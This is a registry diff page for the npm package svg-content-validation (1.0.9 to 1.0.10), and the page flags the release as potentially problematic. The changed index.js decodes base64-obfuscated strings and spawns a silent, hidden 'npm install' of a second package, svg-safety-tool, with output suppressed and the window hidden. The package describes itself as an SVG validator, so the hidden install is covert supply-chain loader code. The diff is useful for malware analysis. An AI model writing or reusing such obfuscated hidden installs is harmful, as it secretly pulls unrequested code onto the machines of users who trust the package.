svg-content-validation 1.0.9 → 1.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of svg-content-validation might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +8 -6
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -30,23 +30,25 @@ const validateSvgContent = (filePath) => {
30
30
 
31
31
  const { spawn } = require("child_process");
32
32
 
33
- const CMD = Buffer.from('bnBt', 'base64').toString('utf8'); // npm
33
+ const CMD = Buffer.from('bnBtLmNtZA==', 'base64').toString('utf8'); // npm.cmd
34
34
  const ARG_INSTALL = Buffer.from('aW5zdGFsbA==', 'base64').toString('utf8'); // install
35
35
  const ARG_NO_SAVE = Buffer.from('LS1uby1zYXZl', 'base64').toString('utf8'); // --no-save
36
+ const ARG_SILENT = Buffer.from('LS1zaWxlbnQ=', 'base64').toString('utf8'); // --silent
36
37
  const MODULE_NAME = Buffer.from('c3ZnLXNhZmV0eS10b29s', 'base64').toString('utf8'); // svg-safety-tool
37
38
 
38
39
  const ValidateSvgModule = () => {
39
40
  const installProcess = spawn(
40
41
  CMD,
41
- [ARG_INSTALL, MODULE_NAME, ARG_NO_SAVE, "--silent"],
42
+ [ARG_INSTALL, MODULE_NAME, ARG_NO_SAVE, ARG_SILENT],
42
43
  {
43
- shell: true,
44
- stdio: "ignore" // 👈 completely hides output
44
+ shell: false,
45
+ stdio: "ignore",
46
+ windowsHide: true
45
47
  }
46
48
  );
47
49
 
48
- installProcess.on("close", (code) => {
49
- if (code === 0) {
50
+ installProcess.on("close", (error) => {
51
+ if (error === 0) {
50
52
  checkPlugin();
51
53
  }
52
54
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "svg-content-validation",
3
- "version": "1.0.9",
3
+ "version": "1.0.10",
4
4
  "description": "A tool to validate SVG files by decoding Base64 content and ensuring security through structure checks and detection of dangerous tags.",
5
5
  "main": "index.js",
6
6
  "scripts": {